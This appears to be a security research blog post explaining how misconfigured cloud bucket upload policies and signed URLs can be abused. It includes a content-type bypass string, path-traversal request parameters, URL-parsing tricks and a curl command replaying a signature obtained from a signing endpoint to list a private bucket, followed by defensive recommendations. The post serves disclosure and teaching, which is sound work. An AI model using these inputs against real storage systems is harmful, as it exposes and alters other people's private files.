Bypassing and exploiting Bucket Upload Policies and Signed URLs

TL;DR Bucket upload policies are a convenient way to upload data to a bucket directly from the client. Going through the rules in upload policies and the logic related to some file-access scenarios we show how full bucket object listings were exposed with the ability to also modify or delete existing files in the bucket.

What is a Bucket Policy?

(If you already know what bucket-policies and signed URLs are, you can jump directly to the Exploit part below)

A bucket policy is meant to be a secure way of directly uploading content to a cloud based bucket-storage, like Google Cloud Storage or AWS S3. The idea is that you create a policy defining what is allowed and not. You then sign the policy with a secret key and gives the policy and the signature to the client.

The client can then upload files directly to the bucket, and the bucket-storage will validate if the uploaded content matches the policy. If it does, the file will be uploaded.

Upload Policies vs Pre-Signed URLs

Before we begin, we need to make clear that there are multiple ways to gain access to objects inside a bucket. The POST Policy (AWS) and POST Object (Google Cloud Storage) methods only allow uploading content, using a POST-request to the bucket.

Another method called Pre-Signed URLs (AWS) or Signed URLs (Google Cloud Storage) allow more than just modifying the object. Depending on the HTTP-method defined by the pre-sign logic, we can PUT, DELETE or GET objects which are private per default.

Pre-Signed URLs are way more lax compared to the POST Policy version when it comes to defining content-type, access control and similar to the file being uploaded. Signed URLs are also more frequently implemented using broken custom logic as you will see below.

There are even more ways to allow someone access to upload content, one being AWS STS AssumeRoleWithWebIdentity which is similar to the POST Policy, with the difference being you get temporary security credentials back (ASIA*) created by a pre-defined IAM Role.

How to spot an upload policy or signed URL

This is how an upload request using POST looks like:

The policy is a base64-encoded JSON that looks something like this:

{
 "expiration": "2018-07-31T13:55:50Z",
 "conditions": [
  {"bucket": "bucket-name"},
  ["starts-with", "$key", "acc123"],
  {"acl": "public-read"},
  {"success_action_redirect": "https://dashboard.example.com/"},
  ["starts-with", "$Content-Type", ""],
  ["content-length-range", 0, 524288]
 ]
}

A signed URL looks like this on AWS S3:

https://bucket-name.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...

And like this for Google Cloud Storage:

https://storage.googleapis.com/uploads/images/test.png?Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com&Signature=dlMA---

Exploiting upload policies

Now to the fun part!

To abuse upload policies we need to define some different properties that matter if we want to spot errors in the policy:

• Access=Yes – If we can access the file somehow after upload. If ACL is defined as public-read in the policy or by being able to receive a pre-signed URL for the uploaded file. Objects uploaded without a defined ACL in the policy are private per default.
• Inline=Yes – If you’re able to modify the content-disposition of the file, so we can serve it inline in the bucket. If it’s not defined at all in the policy, files are served inline.

1. starts-with $key is empty

Example:

["starts-with", "$key", ""]

This is not great. We are now able to upload to any location in the bucket and we’re able to overwrite any object. You can set the key-property into anything and the policy will be accepted.

NB: There are scenarios where the exploitability of this is still hard, for example with a bucket only used to upload objects named as UUIDs (Universally unique identifiers) that are never exposed or used further. In this case we do not know what files to overwrite and there’s no way to know the names of other objects in the bucket.

2. starts-with $key does not contain a path separator or uses same path for all users

Example:

["starts-with", "$key", "acc_1322342m3423"]

If the $key-part of the policy contains a defined part, but without a path separator, we can place content directly in the root-directory of the bucket. If Access=Yes and Inline=Yes and depending on the content-type (see #3 and #4) we can abuse this by installing an AppCache-manifest to steal URLs uploaded by other users (Related bug in AppCache found by @avlidienbrunn+me and @filedescriptor independently).

The same issue applies if the path the objects are uploaded to is the same for all users.

3. starts-with $Content-Type is empty

Example:

["starts-with", "$Content-Type", ""]

If Access=Yes and Inline=Yes we can now upload text/html and serve this on the bucket domain. As shown in #2 we can use this to either run javascript or install an AppCache-manifest on this path, meaning all files accessed under this path will be leaked to the attacker.

4. Content-type is defined using starts-with $Content-Type

Example:

["starts-with", "$Content-Type", "image/jpeg"]

This is the same thing as #3 really, we can just append something to make the first content-type an unknown mime-type, and append text/html after and the file will be served as text/html:

Content-type: image/jpegz;text/html

Also, if the S3-bucket is hosted on a subdomain of the company, by abusing the policies above we could also run javascript on the domain by uploading an HTML-file.

The most interesting part with this was the exploitation of websites with uploaded content on a sandboxed domain.

Exploiting signed URLs using custom logic

Signed URLs are signed server-side and served to the client to allow them to either upload, modify or access the content. The most common problem with these are when websites build custom logic to retrieve them.

To first understand how you can abuse signed URLs, it’s important to know that per default, being able to get a signed GET-URL to the root of the bucket will show you the file-listing of the bucket. This is exactly like being exposed using a public listable bucket with the difference that this bucket most certainly contains private data for other users.

Remember, when we know about other files in the bucket, we can request a signed URL for them as well, which will allow us to get access to private files.

So, goal is always to try to get to the root or to another file we know exist.

Examples of broken custom logic

Here are some examples where the logic actually exposed the root path of the bucket by issuing a signed GET-URL.

1. Full read access to complete bucket using get-image-endpoint

The following request:

https://freehand.example.com/api/get-image?key=abc&document=xyz

Gave the following signed URL:

https://prodapp.s3.amazonaws.com/documents/648475/images/abc?X-Amz-Algorithm=AWS4-HMAC-SHA256...

But, the endpoint normalized the URL before signing it, so by using path-traversal, we could actually make it point to the root of the bucket:

https://freehand.example.com/api/get-image?key=../../../&document=xyz

Resulted in:

https://prodapp.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...

And this URL gave the listing for every file in the bucket.

2. Full read access due to regular expression parsing of signed URL request

Here’s another example, the following request was made to an endpoint on the website to get a signed URL of the object you wanted:

POST /api/file_service/file_upload_policies/s3_url_signature.json HTTP/1.1
Host: sectest.example.com

{"url":"https://example-bucket.s3.amazonaws.com/dir/file.png"}

What it would do is parse the URL and extract parts of it to the signed URL and in return you would get this:

{"signedUrl": "https://s3.amazonaws.com/example-bucket/dir/file.png?X-Amz-Algorithm=AWS4-HMAC..."}

An S3-bucket can be accessed using both a subdomain and a path on s3.amazonaws.com, and in this case, the server-side logic was changing the URL to a path-based bucket URL.

By tricking the URL extraction, you could send in something like this:

{"url":"https://.x./example-bucket"}

and it would give you back a signed URL like this:

{"signedURL":"https://s3.amazonaws.com//example-beta?X-Amz-Algorithm=AWS4-HMAC..."}

And this URL would show the complete file listing of the bucket.

3. Abusing temporary signed URL links

This example is from two years ago and the first issue I found related to Signed URLs.

On the site, when uploading a file you first created a random-key on secure.example.com:

POST /api/s3_file/ HTTP/1.1
Host: secure.example.com

{"id":null,"random_key":"abc-123-def-456-ghi-789","s3_key":"/file.jpg","uploader_id":71957,"employee_id":null}

In return, you would get back:

HTTP/1.1 201 CREATED

{"employee_id":null, "s3_key": "/file.jpg", "uploader_id": 71957, "random_key":"abc-123-def-456-ghi-789", "id": null}

This meant, that the following URL:

https://secure.example.com/files/abc-123-def-456-ghi-789

would then redirect to:

Location: https://example.s3.amazonaws.com/file.jpg?Signature=i0YZ...

It was then possible to send in the following s3_key:

"random_key":"xx1234","s3_key":"/"

Which would then have the following URL:

https://secure.example.com/files/xx1234

redirect to:

Location: https://example.s3.amazonaws.com/?Signature=i0YZ...

Bingo! I now had the file listing of their bucket. This specific example turned out to be very bad. The website used one bucket for all their data, containing every document and file they had. When I tried extracting the file-listing to show the company, the bucket was massive, millions and millions of files. I directly sent the bug to the company and they came back with an awesome response:

Recommendations

An upload policy should be generated specifically per every file-upload request, or at least per every user.

• The $key should be defined completely, with a unique, random generated name and inside a randomly generated path.
• The content-disposition should preferably be defined as attachment.
• acl should preferably be private or not defined at all.
• content-type should either be explicitly set (not using starts-with) or not set at all.

And, creating a signed URL should never be based on parameters by the user, as you can see above, this can clearly end up in scenarios which was not expected.

The worst case I ever saw was:

https://secure.example.com/api/file_upload_policies/multipart_signature?to_sign=GET%0A%0A%0A%0Ax-amz-date%3AFri%2C%2009%20Mar%202018%2000%3A11%3A28%20GMT%0A%2Fbucket-name%2F&datetime=Fri,%2009%20Mar%202018%2000:11:28%20GMT

You gave it exactly the request you wanted to sign, and it gave back the signature of whatever you asked it to sign:

0zfAa9zIBlXH76rTitXXXuhEyJI=

Which could then be used to make the request you got a signature for:

curl -H "Authorization: AWS AKIAJAXXPZR2XXX7ZXXX:0zfAa9zIBlXH76rTitXXXuhEyJI=" -H "x-amz-date: Fri, 09 Mar 2018 00:11:28 GMT" https://s3.amazonaws.com/bucket-name/

The same signing method is used for more things than just S3, and this gave you the ability to sign every request you wanted to any AWS-service the AWS-key was allowed to use.

Author:
Frans Rosén
Security Advisor
@fransrosen

Built by ethical hackers, Detectify is a web vulnerability scanner that checks for 1000+ known vulnerabilities. Part of how we achieve this is by sourcing external research from our Detectify Crowdsource community of hackers and from our internal security researchers including Frans Rosén. Check your web applications for vulnerabilities with the Detectify today.

Other research on S3 buckets: A deep dive into AWS S3 access controls – taking full control over your assets